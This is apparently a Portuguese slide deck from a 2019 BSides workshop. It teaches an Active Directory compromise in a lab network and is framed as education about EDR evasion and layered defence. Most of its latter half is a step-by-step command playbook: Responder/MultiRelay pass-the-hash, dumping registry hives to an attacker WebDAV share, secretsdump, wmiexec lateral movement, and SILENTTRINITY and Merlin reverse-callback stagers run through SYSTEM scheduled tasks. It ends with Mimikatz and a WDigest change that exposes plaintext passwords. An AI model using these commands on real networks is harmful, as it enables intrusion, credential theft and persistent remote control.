Você está na página 1de 26

Fernando da Costa Correa

fernando.correa@securityfirst.com.br
WHOAMI
• Especialista em auditoria de sistemas e governança de processos
de tecnologia, segurança da informação e continuidade de
negócios.
• 20 anos no mercado financeiro auxiliando empresas na
identificação de ameaças aos negócios e mitigação de riscos
cibernéticos. Participou da criação de um dos maiores bancos
digitais do Brasil. Atualmente, como consultor, auxilia empresas
como bancos, adquirentes, wealth management na melhoria de
suas defesas, processos de governança de tecnologia e
cybersecurity. fernando.correa@securityfirst.com.br
THE CHALLENGE
• Antivírus já não é mais considerado uma solução de
defesa efetiva.
• Soluções de EDR (Endpoint Detection and Response) tem
se tornado comuns nas empresas e dificultado a vida do
pentester.
O “Hacking mindset” tem provado que
não importa o tamanho do desafio, ele
nasceu para ser superado!
THE SAME FAILURE
• TCPIP, .NET, POWERSHELL, WIFI (WEP/WPA/WPA2 e
agora WPA3)

✓ Historicamente as tecnologias são desenvolvidas pensando em


praticidade e a segurança muitas vezes fica em segundo plano.
✓ Mesmo quando há features de segurança, mais cedo ou mais
tarde, alguma vulnerabilidade crítica é identificada.

Como ter segurança com tantas falhas?


Defesa em camadas!
CORPORATE NETWORK
COMO UM INVASOR PODE OBTER ACESSO AO SEU ACTIVE DIRECTORY APENAS COM
UM PONTO DE REDE?
LAN
WSRV12AD1
10.2.0.10
SECRETARIA
10.2.0.103
3
WAN

INFRA DEV
10.2.0.110 10.2.0.101 10.2.0.102 WSRV12SPH
10.2.0.10
LAB SETUP
Labs podem ser baixados em:
Baixe aqui (Link provisório até 28.06.2019, senha BSIDES2019)
http://securityfirst.com.br/bsidessp (Link definitivo, em andamento)

ISOS e APPS utilizados:


https://developer.microsoft.com/en-us/windows/downloads/virtual-machines
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://www.heidoc.net/joomla/technology-science/microsoft/67-microsoft-
windows-and-office-iso-download-tool
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server
https://www.kali.org/news/kali-linux-2019-2-release/
https://secure2.sophos.com/en-us/products/endpoint-antivirus/free-trial/on-premise
LAB SETUP
1 SECRETARIA
Baixe o KALI LINUX 2019.2, instale e execute install.sh 10.2.0.103
5
para baixar as tools para o lab.
Usuário sem privilégios
10.0.2.110 administrativos
2
Fileshare WEBDAV configurado, só usar! DEV
10.2.0.102
6
10.0.2.200 3 Usuário administrador local
Domain Controler

INFRA
10.2.0.10 10.2.0.101
4 7
Usuário administrador
AV Server Console do domínio

10.2.0.15
THE FUC###G TOOLS

https://github.com/byt3bl33d3r/SILENTTRINITY https://github.com/Ne0nd0g/merlin#merlin-beta
THE SILENT TRINIRY

https://github.com/boo-lang/boo

Source: https://github.com/byt3bl33d3r/Slides
THE SILENT TRINIRY

Source: https://github.com/byt3bl33d3r/SILENTTRINITY
MERLIN
O componente Merlin Server deve ser executado em um local onde
todos os agentes possam alcançá-lo. A interface e a porta em que o
Merlin Server roda podem ser configurados usando linha de comando,
SERVER mas o padrão é a interface 0.0.0.0 e a porta 443. Por padrão, o servidor
utiliza os certificados x.509 fornecidos com o programa usando o
caminho relativo de ` data / x509 / server.crt` e `data / x509 /
server.key`.

O Merlin Agent pode ser compilado para rodar em qualquer


plataforma (Windows, Linux e MacOS (Darwin)). Os agentes podem
ser compilados com uma string codificada para se conectar ao Merlin
AGENT Server ou o endereço do Servidor Merlin pode ser especificado na
linha de comando com o parâmetro "-url" (por exemplo, -url
https://acme.com:443/).

Source: https://github.com/Ne0nd0g/merlin#merlin-beta
MERLIN
TOP FEATURES
O HTTP/2 é um protocolo relativamente novo (RFC 7540) que visa resolver alguns dos
problemas com o HTTP/1.x. As comunicações HTTP/2 são multiplexadas, conexões
bidirecionais que não terminam após uma solicitação e resposta. Além disso, o HTTP/2 é
binário, o que o torna mais compacto, fácil de analisar e não legível para humanos sem o
uso de uma ferramenta de interpretação.

Encryption, Quando pacotes de criptografia PFS (Perfect Forward Secrecy) são usados, o
tráfego capturado não pode ser decriptografado usando apenas a chave privada do
servidor. Para decriptografar o tráfego, as informações de chave de sessão do cliente são
necessárias.
Evasion, Espera-se que as comunicações HTTP/2 ocorram em canais criptografados TLS
usando pacotes de criptografia habilitados para PFS. Tornando, a inspeção do tráfego
HTTP/2 é difícil.

Source: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
DEMONSTRATION

Pegue sua pipoc que o


show vai começar!
ATTACK ANATOMY
LAN
WSRV12AD1
10.0.2.10
SECRETARIA
10.0.2.103
3

WAN

INFRA DEV
10.0.2.110 10.0.2.101 10.0.2.102 WSRV12SPH
2 4 10.0.2.15

MULTIRELAY

RESPONDER
1
ATTACK ANATOMY
LAN Era uma vez, um Administrador que não utiliza boas práticas de
governança de credenciais
WSRV12AD1 privilegiadas, que executa o navegador em
uma estação que não10.0.2.10
possui Hardening, estando em uma rede
SECRETARIA
10.0.2.103 igualmente desprotegida (como não acontece nas empresas nos dias
3 de hoje), e a mágica acontece...

WAN
1 – Request WPAD via broardcast é recebido pelo atacante
(RESPONDER) que direciona a requisição para a porta 80 local.
INFRA DEV
2 – O MULTIRELAY se encarrega de realizar o “pass the hash” e
10.0.2.101 10.0.2.102 WSRV12SPH
10.0.2.110
conectar ao shell do equipamento da vítima com privilégio SYSTEM.
2 4 10.0.2.15
3 – Ao obter os hashes locais utilizando features do sistema
MULTIRELAY operacional, que não são detectadas por ferramentas tradicionais,
realizamos a movimentação lateral para outros equipamentos da rede,
em busca das senhas do domínio.
RESPONDER 4 – Ao obter a senha do Domain Admin, finalizamos a tarefa acessando
1 os servidores por RDP.
STEP BY STEP... OOH BABY
#SENHAS PARA ACESSO AS VMS

Servidores Windows
administrator - P@ssw0rd12

WEBDAV
user - user

AD
servicedesk - NoP@ssw0rd!
wilma.cortez - YLoveYou123
developer - @Dev1234

Workstation Local
admin - ComplexP@ssw0rd
Zeus - ComplexP@ssw0rd123
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

01 - ENUMERAÇÃO DOS HOSTS (ABRIR NOVA JANELA SHELL 01)

cme smb 10.0.2.2-254 (.1 GATEWAY, .255 BROADCAST, MELHOR EVITÁ-LOS)

02 – INICIALIZANDO NO KALI O RESPONDER + MULTIRELAY


#/USR/SHARE/RESPONDER/RESPONDER.CONF (MUDAR SMB, HTTP, HTTPS PARA “Off”)
./MultiRelay.py -t 10.0.2.103 -u ALL (NOVA JANELA SHELL 02)
responder -I eth0 -rv (NOVA JANELA SHELL 03)

03 – EXECUTAR O CHROME NA MAQUINA DO ADMINSITRADOR DE REDE (WIN10X64)


#AO CONCLUIR ESTE PASSO NO SHELL 02 (MULTIRELAY) VOCÊ DEVE TER ESTABELECIDO CONEXÃO COMO
SYSTEM NO WORKSTATION DA SECRETÁRIA (WIN7X86 IP = 10.0.2.103).
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

04 – DUMP DOS HASHES SEM BLOQUEIO PELO AV


ENCERRAR SHELL 03 (RESPONDER), NÃO SERÁ MAIS NECESSÁRIO.
NO SHELL 02 EXECUTAR:
net use x: \\10.0.2.200\webdav
reg save HKLM\SAM x:\sam.hive
reg save HKLM\SECURITY x:\security.hive
reg save HKLM\SYSTEM x:\system.hive
CERTIFIQUE-SE DE QUE OS ARQUIVOS FORAM SALVOS NO WEBDAV /VAR/WWW/WEBDAV
ENCERRAR SHELL 02 (MULTIRELAY), NÃO SERÁ MAIS NECESSÁRIO.

05 – EXTRAINDO OS HASHES OBTIDOS


BAIXAR OS ARQUIVOS SALVOS NO WEBDAV PARA O KALI E EXECUTAR:
secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL
AGORA VOCÊ JÁ POSSUI O HASH DO ADMINSITRATOR LOCAL PARA FAZER O PTH
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

06 – FIRE UP SILENTTRINITY & GENERATE STAGER


listeners
use http
options
set BindIP 10.0.2.110
set Port 3389
start
#VAMOS GERAR O STAGER
stagers
use powershell
generate http
#SUBIR OS STAGERS GERADOS NO SERVIDOR WEBDAV EM /var/www/webdav
#ALGUMAS VEZES A EXECUÇÃO NÃO FUNCIONA MUITO BEM, POR ISSO: chmod 755 <files>
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

07 – FIRE UP MERLIN
./merlinServer-Linux-x64 -i 10.0.2.110 -p 3390
#NESTE PONTO VOCÊ DEVE TER O LISTENER ATIVO
#SUBIR O STAGER QUE ESTÁ NA PASTA DO MERLIN (KALI) NO WEBDAV EM /var/www/webdav
#ALGUMAS VEZES A EXECUÇÃO NÃO FUNCIONA MUITO BEM, POR ISSO: chmod 755 <files no WEBDAV>
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

07 – REALIZANDO MOVIMENTAÇÃO LATERAL VIA PTH COM O CRACKMAPEXEC E WMIEXEC


#IDENTIFICANDO HOSTS VULNERÁVEIS
cme smb 10.0.2.2-254 -u admin -H <hash> --local-auth
#ACESSANDO A MAQUINA DO DESENVOLVEDOR (WIN8X86)
wmiexec.py -hashes <hash obtido> admin@10.0.2.102
#VOCÊ TEM O SHELL DA MAQUINA DO DESENVOLVEDOR COM LOCAL ADMIN PRIVILEGE

08 – AGENDADO TAREFA PARA EXECUTAR STAGER COM SYSTEM PRIVILEGE


#SILENTTRINITY
schtasks /Create /SC DAILY /RU system /TN "Reverse_SLNT" /TR "wscript \\10.0.2.200\webdav\vbscript_ps.vbs"
/ST 23:36 /f
#MERLIN
schtasks /Create /SC DAILY /RU system /TN "Reverse_MRLN" /TR "\\10.0.2.200\webdav\merlinAgent-Windows-
x64.exe -url https://10.0.2.110:3390" /ST 23:36 /f
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

08 – (CONTINUAÇÃO) #EXECUTANDO AS TASKS AGENDADAS


#ANTES DE EXECUTAR A TASK, ESTABELECER CONEXÃO COM O WEBDAV
net use \\10.0.2.200\webdav
#SILENTTRINITY
‘schtasks /run /TN "Reverse_SLNT"'
#MERLIN
‘schtasks /run /TN "Reverse_MRLN"'
#VERIFIQUE NA CONSOLE DO SILENTTRINITY E MERLIN, VOCÊ DEVERÁ RECEBER UM AGENTE NOVO EM AMBOS
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

09 – OBTENDO SENHAS EM TEXTO NA MEMÓRIA DO COMPUTADOR COMPROMETIDO


#SILENTTRINITY
modules
use ipy/safetykatz
run <session id>
STEP BY STEP... OOH BABY
#INSTRUÇÕES E COMMANDOS UTILIZADOS

09 – (CONTINUAÇÃO) OBTENDO SENHAS EM TEXTO NA MEMÓRIA DO COMPUTADOR COMPROMETIDO


#MERLIN
use module windows/x64/powershell/powersploit/Invoke-Mimikatz
set agent <session id>
run
CHALLENGE YOURSELF!
#INSTRUÇÕES E COMMANDOS UTILIZADOS

10 – #PARABÉNS, SE VOCÊ CHEGOU ATÉ AQUI SIGNIFICA QUE ADQUIRIU TODOS OS CONHECIMENTOS NECESSÁRIOS!
#O PRÓXIMO PASSO QUE É UTILIZAR AS MESMAS TÉCNICAS PARA INVADIR O COMPUTADOR DO
#ADMINISTRADOR DA REDE PARA PEGAR SUA SENHA EM TEXTO! PARA ISSO, VÃO ALGUMAS DICAS
#IMPORTANTES!
1 – O NOME DO ADMINISTRADOR LOCAL NÃO É O MESMO DO WORKSTATION DO DEVELOPER, MAS O HASH E O
USERNAME ESTÃO NO DUMP DO SAM LOCAL DESTE EQUIPAMENTO.
2 – PRECISA ADICIONAR A SEGUINTE CHAVE NO REGISTRO DO WINDOWS PARA CONSEGUIR RECUPERAR AS
SENHAS EM TEXTO NA MAQUINA DO ADMINISTRADOR DA REDE.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t
REG_DWORD /d 1

#AGORA ACESSE OS SERVIDORES VIA REMOTE DESKTOP COM A SENHA DO DOMAIN ADMIN!!! PARABÉNS!!!
... SORRY BUT... THE END.

Dúvidas
Dúvidas ? Dúvidas
fernando.correa@securityfirst.com.br

Dúvidas